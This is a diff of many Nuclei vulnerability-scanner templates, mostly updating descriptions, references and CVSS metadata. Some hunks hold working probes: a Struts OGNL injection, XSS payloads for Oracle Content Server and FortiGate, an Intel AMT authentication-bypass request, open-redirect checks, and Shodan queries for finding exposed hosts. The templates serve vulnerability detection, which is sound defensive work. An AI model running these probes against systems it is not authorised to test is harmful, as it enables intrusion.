+    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0394
+    - http://www.exploit-db.com/exploits/18329
+  classification:
+    cve-id: CVE-2012-0394
+  metadata:
+    shodan-query: html:"Struts Problem Report"
+    verified: "true"
+  tags: ognl,injection,edb,cve,cve2012,apache,struts
+
+variables:
+  first: "{{rand_int(1000, 9999)}}"
+  second: "{{rand_int(1000, 9999)}}"
+  result: "{{to_number(first)*to_number(second)}}"
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/portal/displayAPSForm.action?debug=command&expression={{first}}*{{second}}'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - '{{result}}'
+
+      - type: status
+        status:
+          - 200
@@ -1,18 +1,20 @@
 id: CVE-2014-4942

 info:
-  name: WP EasyCart - Information Disclosure
+  name: WordPress EasyCart <2.0.6 - Information Disclosure
  author: DhiyaneshDk
  severity: low
  description: |
-    The EasyCart (wp-easycart) plugin before 2.0.6 for WordPress allows remote attackers to obtain configuration information via a direct request to inc/admin/phpinfo.php, which calls the phpinfo function.
+    WordPress EasyCart plugin before 2.0.6 contains an information disclosure vulnerability. An attacker can obtain configuration information via a direct request to inc/admin/phpinfo.php, which calls the phpinfo function.
  reference:
    - https://wpscan.com/vulnerability/64ea4135-eb26-4dea-a13f-f4c1deb77150
    - https://codevigilant.com/disclosure/wp-plugin-wp-easycart-information-disclosure
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-4942
    - https://nvd.nist.gov/vuln/detail/CVE-2014-4942
  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
    cve-id: CVE-2014-4942
+    cwe-id: CWE-200
  tags: wpscan,cve,cve2014,wordpress,wp-plugin,wp,phpinfo,disclosure

 requests:
@@ -39,3 +41,5 @@ requests:
        group: 1
        regex:
          - '>PHP Version <\/td><td class="v">([0-9.]+)'
+
+# Enhanced by mp on 2022/09/30
@@ -1,18 +1,21 @@
 id: CVE-2015-3035

 info:
-  name: Multiple TP-LINK Products Vulnerable - Local File Inclusion
+  name: TP-LINK - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: |
-    Because of insufficient input validation, arbitrary local files can be disclosed. Files that include passwords and other sensitive information can be accessed.
+    TP-LINK is susceptible to local file inclusion in these products: Archer C5 (1.2) with firmware before 150317, Archer C7 (2.0) with firmware before 150304, and C8 (1.0) with firmware before 150316, Archer C9 (1.0), TL-WDR3500 (1.0), TL-WDR3600 (1.0), and TL-WDR4300 (1.0) with firmware before 150302, TL-WR740N (5.0) and TL-WR741ND (5.0) with firmware before 150312, and TL-WR841N (9.0), TL-WR841N (10.0), TL-WR841ND (9.0), and TL-WR841ND (10.0) with firmware before 150310.  Because of insufficient input validation, arbitrary local files can be disclosed. Files that include passwords and other sensitive information can be accessed.
  reference:
    - https://seclists.org/fulldisclosure/2015/Apr/26
-    - https://nvd.nist.gov/vuln/detail/CVE-2015-3035
    - https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20150410-0_TP-Link_Unauthenticated_local_file_disclosure_vulnerability_v10.txt
    - http://www.tp-link.com/en/download/TL-WDR3600_V1.html#Firmware
+    - https://nvd.nist.gov/vuln/detail/CVE-2015-3035
  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
+    cvss-score: 8.6
    cve-id: CVE-2015-3035
+    cwe-id: CWE-22
  metadata:
    shodan-query: http.title:"TP-LINK"
    verified: "true"
@@ -32,3 +35,5 @@ requests:
      - type: status
        status:
          - 200
+
+# Enhanced by mp on 2022/09/30
@@ -1,7 +1,7 @@
 id: CVE-2015-4074

 info:
-  name: Joomla Helpdesk Pro plugin <1.4.0 - Local File Inclusion
+  name: Joomla! Helpdesk Pro plugin <1.4.0 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: Directory traversal vulnerability in the Helpdesk Pro plugin before 1.4.0 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the filename parameter in a ticket.download_attachment task.
@@ -1,16 +1,16 @@
 id: CVE-2015-4668

 info:
-  name: Xsuite 2.4.4.5 - Open Redirect
+  name: Xsuite <=2.4.4.5 - Open Redirect
  author: 0x_Akoko
  severity: medium
  description: |
-    Open redirect vulnerability in Xsuite 2.4.4.5 and earlier allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via a URL in the redirurl parameter.
+    Xsuite 2.4.4.5 and prior contains an open redirect vulnerability, which can allow a remote attacker to redirect users to arbitrary web sites and conduct phishing attacks via a malicious URL in the redirurl parameter.
  reference:
    - https://www.modzero.com/advisories/MZ-15-02-Xceedium-Xsuite.txt
-    - https://www.cvedetails.com/cve/CVE-2015-4668
    - https://vuldb.com/?id.107082
    - https://www.exploit-db.com/exploits/37708/
+    - https://nvd.nist.gov/vuln/detail/CVE-2015-4668
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
@@ -28,3 +28,5 @@ requests:
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1
+
+# Enhanced by mp on 2022/09/30
@@ -1,15 +1,15 @@
 id: CVE-2015-5461

 info:
-  name: StageShow <= 5.0.8 - Open Redirect
+  name: WordPress StageShow <5.0.9 - Open Redirect
  author: 0x_Akoko
  severity: medium
-  description: Open redirect vulnerability in the Redirect function in stageshow_redirect.php in the StageShow plugin before 5.0.9 for WordPress allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via a URL in the url parameter.
+  description: WordPress StageShow plugin before 5.0.9 contains an open redirect vulnerability in the Redirect function in stageshow_redirect.php. A remote attacker can redirect users to arbitrary web sites and conduct phishing attacks via a malicious URL in the url parameter.
  reference:
    - https://wpscan.com/vulnerability/afc0d5b5-280f-424f-bc3e-d04452e56e16
-    - https://nvd.nist.gov/vuln/detail/CVE-2015-5461
    - https://wordpress.org/plugins/stageshow/changelog/
    - http://seclists.org/fulldisclosure/2015/Jul/27
+    - https://nvd.nist.gov/vuln/detail/CVE-2015-5461
  classification:
    cve-id: CVE-2015-5461
  metadata:
@@ -26,3 +26,5 @@ requests:
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh.*$'
        part: header
+
+# Enhanced by mp on 2022/09/30
@@ -1,14 +1,15 @@
 id: CVE-2015-5469
+
 info:
-  name: Wordpress MDC YouTube Downloader plugin v2.1.0 - Remote file download
+  name: WordPress MDC YouTube Downloader 2.1.0 - Local File Inclusion
  author: 0x_Akoko
  severity: high
-  description: Absolute path traversal vulnerability in the MDC YouTube Downloader plugin 2.1.0 for WordPress allows remote attackers to read arbitrary files via a full pathname in the file parameter to includes/download.php.
+  description: WordPress MDC YouTube Downloader 2.1.0 plugin is susceptible to local file inclusion. A remote attacker can read arbitrary files via a full pathname in the file parameter to includes/download.php.
  reference:
    - https://www.openwall.com/lists/oss-security/2015/07/10/5
-    - https://www.cvedetails.com/cve/CVE-2015-5469/
    - http://www.vapid.dhs.org/advisory.php?v=133
    - http://www.openwall.com/lists/oss-security/2015/07/10/5
+    - https://nvd.nist.gov/vuln/detail/CVE-2015-5469
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
@@ -31,3 +32,5 @@ requests:
      - type: status
        status:
          - 200
+
+# Enhanced by mp on 2022/09/30
@@ -1,11 +1,11 @@
 id: CVE-2015-7245

 info:
-  name: D-Link DVG-N5402SP - Path Traversal
+  name: D-Link DVG-N5402SP - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: |
-    Directory traversal vulnerability in D-Link DVG-N5402SP with firmware W1000CN-00, W1000CN-03, or W2000EN-00 allows remote attackers to read sensitive information via a .. (dot dot) in the errorpage parameter.
+    D-Link DVG-N5402SP is susceptible to local file inclusion in products with firmware W1000CN-00, W1000CN-03, or W2000EN-00. A remote attacker can read sensitive information via a .. (dot dot) in the errorpage parameter.
  reference:
    - https://packetstormsecurity.com/files/135590/D-Link-DVG-N5402SP-Path-Traversal-Information-Disclosure.html
    - https://www.exploit-db.com/exploits/39409/
@@ -30,3 +30,5 @@ requests:
        part: body
        regex:
          - "root:.*:0:0:"
+
+# Enhanced by mp on 2022/09/30
@@ -1,10 +1,10 @@
 id: CVE-2015-7823

 info:
-  name: Kentico CMS 8.2 Open Redirection
+  name: Kentico CMS 8.2 - Open Redirect
  author: 0x_Akoko
  severity: low
-  description: The GetDocLink.ashx  with link variable is vulnerable to open redirect vulnerability
+  description: Kentico CMS 8.2 contains an open redirect vulnerability via GetDocLink.ashx with link variable. An attacker can construct a URL within the application that causes a redirection to an arbitrary external domain.
  reference:
    - https://packetstormsecurity.com/files/133981/Kentico-CMS-8.2-Cross-Site-Scripting-Open-Redirect.html
    - https://nvd.nist.gov/vuln/detail/CVE-2015-7823
@@ -23,3 +23,5 @@ requests:
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh.*$'
        part: header
+
+# Enhanced by mp on 2022/09/30
@@ -1,14 +1,15 @@
 id: CVE-2015-8399

 info:
-  name: Atlassian Confluence configuration files read
+  name: Atlassian Confluence <5.8.17 - Information Disclosure
  author: princechaddha
  severity: medium
-  description: Atlassian Confluence before 5.8.17 allows remote authenticated users to read configuration files via the decoratorName parameter to (1) spaces/viewdefaultdecorator.action or (2) admin/viewdefaultdecorator.action.
+  description: Atlassian Confluence before 5.8.17 contains an information disclsoure vulnerability. A remote authenticated user can read configuration files via the decoratorName parameter to (1) spaces/viewdefaultdecorator.action or (2) admin/viewdefaultdecorator.action.
  reference:
    - https://jira.atlassian.com/browse/CONFSERVER-39704?src=confmacro
    - https://www.exploit-db.com/exploits/39170/
    - http://web.archive.org/web/20201209041130/https://www.securityfocus.com/archive/1/537232/100/0/threaded
+    - https://nvd.nist.gov/vuln/detail/CVE-2015-8399
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 4.3
@@ -35,3 +36,5 @@ requests:
          - "confluence-init.properties"
          - "View Default Decorator"
        condition: and
+
+# Enhanced by mp on 2022/09/30
@@ -1,7 +1,7 @@
 id: CVE-2016-10033

 info:
-  name: WordPress PHPMailer < 5.2.18 Remote Code Execution
+  name: WordPress PHPMailer < 5.2.18 - Remote Code Execution
  author: princechaddha
  severity: critical
  description: WordPress PHPMailer before 5.2.18 might allow remote attackers to pass extra parameters to the mail command and consequently execute arbitrary code via a " (backslash double quote) in a crafted Sender property in isMail transport.
@@ -1,15 +1,15 @@
 id: CVE-2016-10368

 info:
-  name: Opsview Monitor Pro 4.5.x - Open Redirect
+  name: Opsview Monitor Pro - Open Redirect
  author: 0x_Akoko
  severity: medium
  description: |
-    Open redirect vulnerability in Opsview Monitor Pro (Prior to 5.1.0.162300841 prior to 5.0.2.27475, prior to 4.6.4.162391051, and 4.5.x without a certain 2016 security patch) allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via the back parameter to the login URI.
+    Opsview Monitor Pro before 5.1.0.162300841, before 5.0.2.27475, before 4.6.4.162391051, and 4.5.x without a certain 2016 security patch contains an open redirect vulnerability. An attacker can redirect users to arbitrary web sites and conduct phishing attacks via the back parameter to the login URI.
  reference:
    - https://www.trustwave.com/en-us/resources/security-resources/security-advisories/?fid=18774
-    - https://nvd.nist.gov/vuln/detail/CVE-2016-10368
    - https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2016-016/?fid=8341
+    - https://nvd.nist.gov/vuln/detail/CVE-2016-10368
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
@@ -36,3 +36,5 @@ requests:
      - type: status
        status:
          - 302
+
+# Enhanced by mp on 2022/10/12
@@ -7,7 +7,6 @@ info:
  description: Oracle GlassFish Server Open Source Edition 3.0.1 (build 22) is vulnerable to unauthenticated local file inclusion vulnerabilities that allow remote attackers to request arbitrary files on the server.
  reference:
    - https://www.trustwave.com/en-us/resources/security-resources/security-advisories/?fid=18784
-    - https://www.cvedetails.com/cve/CVE-2017-1000029
    - https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2016-011/?fid=8037
    - https://nvd.nist.gov/vuln/detail/CVE-2017-1000029
  classification:
@@ -32,4 +31,4 @@ requests:
        status:
          - 200

-# Enhanced by mp on 2022/06/09
+# Enhanced by mp on 2022/10/24
@@ -1,34 +1,47 @@
 id: CVE-2017-10075

 info:
-  name: Oracle Content Server Cross-Site Scripting
+  name: Oracle Content Server - Cross-Site Scripting
  author: madrobot
  severity: high
-  description: Oracle Content Server version 11.1.1.9.0, 12.2.1.1.0 and 12.2.1.2.0 are susceptible to cross-site scripting. The vulnerability can be used to include HTML or JavaScript code in the affected web page. The code is executed in the browser of users if they visit the manipulated site.
+  description: |
+    Oracle Content Server version 11.1.1.9.0, 12.2.1.1.0 and 12.2.1.2.0 are susceptible to cross-site scripting. The vulnerability can be used to include HTML or JavaScript code in the affected web page. The code is executed in the browser of users if they visit the manipulated site.
  reference:
    - http://www.oracle.com/technetwork/security-advisory/cpujul2017-3236622.html
-    - https://nvd.nist.gov/vuln/detail/CVE-2017-10075
    - http://web.archive.org/web/20211206074610/https://securitytracker.com/id/1038940
+    - https://nvd.nist.gov/vuln/detail/CVE-2017-10075
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
    cvss-score: 8.2
    cve-id: CVE-2017-10075
+  metadata:
+    google-dork: inurl:"/cs/idcplg"
+    verified: "true"
  tags: cve,cve2017,xss,oracle

 requests:
  - method: GET
    path:
-      - "{{BaseURL}}/cs/idcplg?IdcService=GET_SEARCH_RESULTS&ResultTemplate=StandardResults&ResultCount=20&FromPageUrl=/cs/idcplg?IdcService=GET_DYNAMIC_PAGEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"&PageName=indext&SortField=dInDate&SortOrder=Desc&ResultsTitle=XXXXXXXXXXXX%3Cscript%3Ealert(31337)%3C%2Fscript%3E&dSecurityGroup=&QueryText=(dInDate+%3E=+%60%3C$dateCurrent(-7)$%3E%60)&PageTitle=OO"
-      - "{{BaseURL}}/cs/idcplg?IdcService=GET_SEARCH_RESULTS&ResultTemplate=StandardResults&ResultCount=20&FromPageUrl=/cs/idcplg?IdcService=GET_DYNAMIC_PAGEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"&PageName=indext&SortField=dInDate&SortOrder=Desc&ResultsTitle=AAA&dSecurityGroup=&QueryText=(dInDate+%3E=+%60%3C$dateCurrent(-7)$%3E%60)&PageTitle=XXXXXXXXXXXX%3Cscript%3Ealert(31337)%3C%2Fscript%3E"
+      - "{{BaseURL}}/cs/idcplg?IdcService=GET_SEARCH_RESULTS&ResultTemplate=StandardResults&ResultCount=20&FromPageUrl=/cs/idcplg?IdcService=GET_DYNAMIC_PAGEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"&PageName=indext&SortField=dInDate&SortOrder=Desc&ResultsTitle=XXXXXXXXXXXX<svg/onload=alert(document.domain)>&dSecurityGroup=&QueryText=(dInDate+>=+%60<$dateCurrent(-7)$>%60)&PageTitle=OO"
+      - "{{BaseURL}}/cs/idcplg?IdcService=GET_SEARCH_RESULTS&ResultTemplate=StandardResults&ResultCount=20&FromPageUrl=/cs/idcplg?IdcService=GET_DYNAMIC_PAGEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"&PageName=indext&SortField=dInDate&SortOrder=Desc&ResultsTitle=AAA&dSecurityGroup=&QueryText=(dInDate+%3E=+%60%3C$dateCurrent(-7)$%3E%60)&PageTitle=XXXXXXXXXXXX<svg/onload=alert(document.domain)>"

+    stop-at-first-match: true
    matchers-condition: and
    matchers:
+      - type: word
+        part: body
+        words:
+          - "<svg/onload=alert(document.domain)>"
+          - "ORACLE_QUERY"
+        condition: and
+
+      - type: word
+        part: header
+        words:
+          - text/html
+
      - type: status
        status:
          - 200
-      - type: word
-        words:
-          - "<script>alert(31337)</script>"
-        part: body

 # Enhanced by mp on 2022/04/12
@@ -8,10 +8,9 @@ info:
    ManageEngine ServiceDesk 9.3.9328 is vulnerable to an arbitrary file retrieval due to improper restrictions of the pathname used in the name parameter for the download-snapshot path. An unauthenticated remote attacker can use this vulnerability to download arbitrary files.
  reference:
    - https://exploit.kitploit.com/2017/11/manageengine-servicedesk-cve-2017-11512.html
-    - https://www.cvedetails.com/cve/CVE-2017-11512
    - https://www.tenable.com/security/research/tra-2017-31
-    - https://nvd.nist.gov/vuln/detail/CVE-2017-11512
    - https://web.archive.org/web/20210116180015/https://www.securityfocus.com/bid/101789/
+    - https://nvd.nist.gov/vuln/detail/CVE-2017-11512
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
@@ -1,11 +1,11 @@
 id: CVE-2017-11586

 info:
-  name: FineCms < 5.0.9 - Open redirect
+  name: FineCMS <5.0.9 - Open Redirect
  author: 0x_Akoko
  severity: medium
  description: |
-    dayrui FineCms 5.0.9 has URL Redirector Abuse via the url parameter in a sync action.
+    FineCMS 5.0.9 contains an open redirect vulnerability via the url parameter in a sync action. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  reference:
    - http://lorexxar.cn/2017/07/20/FineCMS%20multi%20vulnerablity%20before%20v5.0.9/#URL-Redirector-Abuse
    - https://nvd.nist.gov/vuln/detail/CVE-2017-11586
@@ -37,3 +37,5 @@ requests:
        part: header
        regex:
          - 'Refresh:(.*)url=http:\/\/interact\.sh'
+
+# Enhanced by mp on 2022/10/12
@@ -4,11 +4,12 @@ info:
  name: XOOPS Core 2.5.8 - Open Redirect
  author: 0x_Akoko
  severity: medium
-  description: XOOPS Core 2.5.8 has a stored URL redirect bypass vulnerability in /modules/profile/index.php because of the URL filter.
+  description: XOOPS Core 2.5.8 contains an open redirect vulnerability in /modules/profile/index.php due to the URL filter. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  reference:
    - https://github.com/XOOPS/XoopsCore25/issues/523
    - https://xoops.org
    - https://www.cvedetails.com/cve/CVE-2017-12138
+    - https://nvd.nist.gov/vuln/detail/CVE-2017-12138
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
@@ -35,3 +36,5 @@ requests:
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1
+
+# Enhanced by md on 2022/10/13
@@ -1,38 +1,42 @@
-id: CVE-2017-14186
-
-info:
-  name: FortiGate SSL VPN Web Portal - Cross Site Scripting
-  author: johnk3r
-  severity: medium
-  description: |
-    Failure to sanitize the login redir parameter in the SSL-VPN web portal may allow an attacker to perform a Cross-site Scripting (XSS) or an URL Redirection attack.
-  reference:
-    - https://www.fortiguard.com/psirt/FG-IR-17-242
-    - https://nvd.nist.gov/vuln/detail/CVE-2017-14186
-  classification:
-    cve-id: CVE-2017-14186
-  metadata:
-    verified: true
-    shodan-query: port:10443 http.favicon.hash:945408572
-  tags: cve,cve2017,fortigate,xss,fortinet
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/remote/loginredir?redir=javascript:alert(document.domain)"
-
-    matchers-condition: and
-    matchers:
-      - type: word
-        part: body
-        words:
-          - 'location=decodeURIComponent("javascript%3Aalert%28document.domain%29"'
-
-      - type: word
-        part: header
-        words:
-          - "text/html"
-
-      - type: status
-        status:
-          - 200
+id: CVE-2017-14186
+
+info:
+  name: FortiGate SSL VPN Web Portal - Cross Site Scripting
+  author: johnk3r
+  severity: medium
+  description: |
+    Failure to sanitize the login redir parameter in the SSL-VPN web portal may allow an attacker to perform a Cross-site Scripting (XSS) or an URL Redirection attack.
+  reference:
+    - https://www.fortiguard.com/psirt/FG-IR-17-242
+    - https://nvd.nist.gov/vuln/detail/CVE-2017-14186
+    - https://fortiguard.com/advisory/FG-IR-17-242
+    - https://web.archive.org/web/20210801135714/http://www.securitytracker.com/id/1039891
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 5.4
+    cve-id: CVE-2017-14186
+    cwe-id: CWE-79
+  metadata:
+    shodan-query: port:10443 http.favicon.hash:945408572
+    verified: "true"
+  tags: cve,cve2017,fortigate,xss,fortinet
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/remote/loginredir?redir=javascript:alert(document.domain)"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - 'location=decodeURIComponent("javascript%3Aalert%28document.domain%29"'
+
+      - type: word
+        part: header
+        words:
+          - "text/html"
+
+      - type: status
+        status:
+          - 200
@@ -1,11 +1,11 @@
 id: CVE-2017-17736

 info:
-  name: Kentico - Unauthenticated Administration Dashboard
+  name: Kentico - Installer Privilege Escalation
  author: shiar
  severity: critical
  description: |
-    Kentico 9.0 before 9.0.51 and 10.0 before 10.0.48 allows remote attackers to obtain Global Administrator access by visiting CMSInstall/install.aspx and then navigating to the CMS Administration Dashboard.
+    Kentico 9.0 before 9.0.51 and 10.0 before 10.0.48 are susceptible to a privilege escalation attack. An attacker can obtain Global Administrator access by visiting CMSInstall/install.aspx and then navigating to the CMS Administration Dashboard.
  reference:
    - https://www.exploit-db.com/ghdb/5694
    - https://nvd.nist.gov/vuln/detail/CVE-2017-17736
@@ -16,9 +16,9 @@ info:
    cve-id: CVE-2017-17736
    cwe-id: CWE-425
  metadata:
-    google-dork: intitle:"kentico database setup"
+    google-query: intitle:"kentico database setup"
    verified: "true"
-  tags: cve,cve2017,kentico,cms,install,rce,unauth,edb
+  tags: cve,cve2017,kentico,cms,install,unauth,edb

 requests:
  - method: GET
@@ -39,3 +39,5 @@ requests:
          - "Database Setup"
          - "SQLServer"
        condition: and
+
+# Enhanced by cs on 2022/10/24
@@ -0,0 +1,46 @@
+id: CVE-2017-5689
+
+info:
+  name: Intel Active Management Technology - Authentication Bypass
+  author: pdteam
+  severity: critical
+  description: |
+    An unprivileged network attacker could gain system privileges to provisioned Intel manageability SKUs: Intel Active Management Technology (AMT) and Intel Standard Manageability (ISM). An unprivileged local attacker could provision manageability features gaining unprivileged network or local system privileges on Intel manageability SKUs: Intel Active Management Technology (AMT), Intel Standard Manageability (ISM), and Intel Small Business Technology (SBT).
+  reference:
+    - https://security-center.intel.com/advisory.aspx?intelid=INTEL-SA-00075&languageid=en-fr
+    - https://www.tenable.com/blog/rediscovering-the-intel-amt-vulnerability
+    - https://www.embedi.com/news/mythbusters-cve-2017-5689
+    - https://www.embedi.com/files/white-papers/Silent-Bob-is-Silent.pdf
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2017-5689
+  metadata:
+    shodan-query: title:"Active Management Technology"
+    verified: "true"
+  tags: cve,cve2017,amt,intel,tenable,kev
+
+requests:
+  - raw:
+      - |
+        GET / HTTP/1.1
+        Host: {{Hostname}}
+
+      - |
+        GET /hw-sys.htm HTTP/1.1
+        Host: {{Hostname}}
+
+    digest-username: admin
+    req-condition: true
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body_2
+        words:
+          - "System Status"
+          - "Active Management Technology"
+        condition: and
+
+      - type: status
+        status:
+          - 200
@@ -9,7 +9,7 @@ info:
  reference:
    - https://developer.joomla.org/security-centre/692-20170501-core-sql-injection.html
    - https://nvd.nist.gov/vuln/detail/CVE-2017-8917
-    - http://www.securitytracker.com/id/1038522
+    - https://web.archive.org/web/20211207050608/http://www.securitytracker.com/id/1038522
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
@@ -15,7 +15,7 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2018-1000861
    cwe-id: CWE-502
-  tags: kev,vulhub,cve,cve2018,jenkin,rce,jenkins
+  tags: kev,vulhub,cve,cve2018,rce,jenkins

 requests:
  - method: GET
@@ -4,7 +4,7 @@ info:
  name: Seagate NAS OS 4.3.15.1 - Open Redirect
  author: 0x_Akoko
  severity: medium
-  description: Arbitrary Redirect in echo-server.html in Seagate NAS OS version 4.3.15.1 allows attackers to disclose information in the Referer header via the 'state' URL parameter.
+  description: Seagate NAS OS 4.3.15.1 contains an open redirect vulnerability in echo-server.html, which can allow an attacker to disclose information in the referer header via the state URL parameter.
  reference:
    - https://blog.securityevaluators.com/invading-your-personal-cloud-ise-labs-exploits-the-seagate-stcr3000101-ecf89de2170
    - https://nvd.nist.gov/vuln/detail/CVE-2018-12300
@@ -26,3 +26,5 @@ requests:
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1
+
+# Enhanced by md on 2022/10/13
@@ -1,16 +1,16 @@
 id: CVE-2018-12675

 info:
-  name: SV3C HD Camera L-SERIES - Open Redirect
+  name: SV3C HD Camera L Series - Open Redirect
  author: 0x_Akoko
  severity: medium
  description: |
-    The SV3C HD Camera (L-SERIES V2.3.4.2103-S50-NTD-B20170508B and V2.3.4.2103-S50-NTD-B20170823B) does not perform origin checks on URLs that the camera's web interface redirects a user to. This can be leveraged to send a user to an unexpected endpoint.
+    SV3C HD Camera L Series 2.3.4.2103-S50-NTD-B20170508B and 2.3.4.2103-S50-NTD-B20170823B contains an open redirect vulnerability. It does not perform origin checks on URLs in the camera's web interface, which can be leveraged to send a user to an unexpected endpoint. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  reference:
    - https://bishopfox.com/blog/sv3c-l-series-hd-camera-advisory
    - https://vuldb.com/?id.125799
-    - https://nvd.nist.gov/vuln/detail/CVE-2018-12675
    - https://www.bishopfox.com/news/2018/10/sv3c-l-series-hd-camera-multiple-vulnerabilities/
+    - https://nvd.nist.gov/vuln/detail/CVE-2018-12675
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
@@ -30,3 +30,5 @@ requests:
        part: body
        words:
          - '<META http-equiv="Refresh" content="0;URL=http://interact.sh">'
+
+# Enhanced by md on 2022/10/13
@@ -1,11 +1,11 @@
 id: CVE-2018-14474

 info:
-  name: OrangeForum 1.4.0 - Open Redirect
+  name: Orange Forum 1.4.0 - Open Redirect
  author: 0x_Akoko
  severity: medium
  description: |
-    views/auth.go in Orange Forum 1.4.0 allows Open Redirection via the next parameter to /login or /signup.
+    Orange Forum 1.4.0 contains an open redirect vulnerability in views/auth.go via the next parameter to /login or /signup. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  reference:
    - https://github.com/s-gv/orangeforum/commit/1f6313cb3a1e755880fc1354f3e1efc4dd2dd4aa
    - https://seclists.org/fulldisclosure/2019/Jan/32
@@ -30,3 +30,5 @@ requests:
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1
+
+# Enhanced by md on 2022/10/13
@@ -1,10 +1,10 @@
 id: CVE-2018-14574

 info:
-  name: Django Open Redirect
+  name: Django - Open Redirect
  author: pikpikcu
  severity: medium
-  description: django.middleware.common.CommonMiddleware in Django 1.11.x before 1.11.15 and 2.0.x before 2.0.8 has an Open Redirect.
+  description: Django 1.11.x before 1.11.15 and 2.0.x before 2.0.8 contains an open redirect vulnerability. If  django.middleware.common.CommonMiddleware and APPEND_SLASH settings are selected, and if the project has a URL pattern that accepts any path ending in a slash, an attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  reference:
    - https://www.djangoproject.com/weblog/2018/aug/01/security-releases/
    - https://usn.ubuntu.com/3726-1/
@@ -12,6 +12,7 @@ info:
    - https://www.debian.org/security/2018/dsa-4264
    - http://web.archive.org/web/20210124194607/https://www.securityfocus.com/bid/104970/
    - https://access.redhat.com/errata/RHSA-2019:0265
+    - https://nvd.nist.gov/vuln/detail/CVE-2018-14574
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
@@ -34,3 +35,5 @@ requests:
          - "Location: https://www.interact.sh"
          - "Location: http://www.interact.sh"
        part: header
+
+# Enhanced by md on 2022/10/13
@@ -1,7 +1,7 @@
 id: CVE-2018-14912

 info:
-  name: cgit < 1.2.1 Directory Traversal
+  name: cgit < 1.2.1 - Directory Traversal
  author: 0x_Akoko
  severity: high
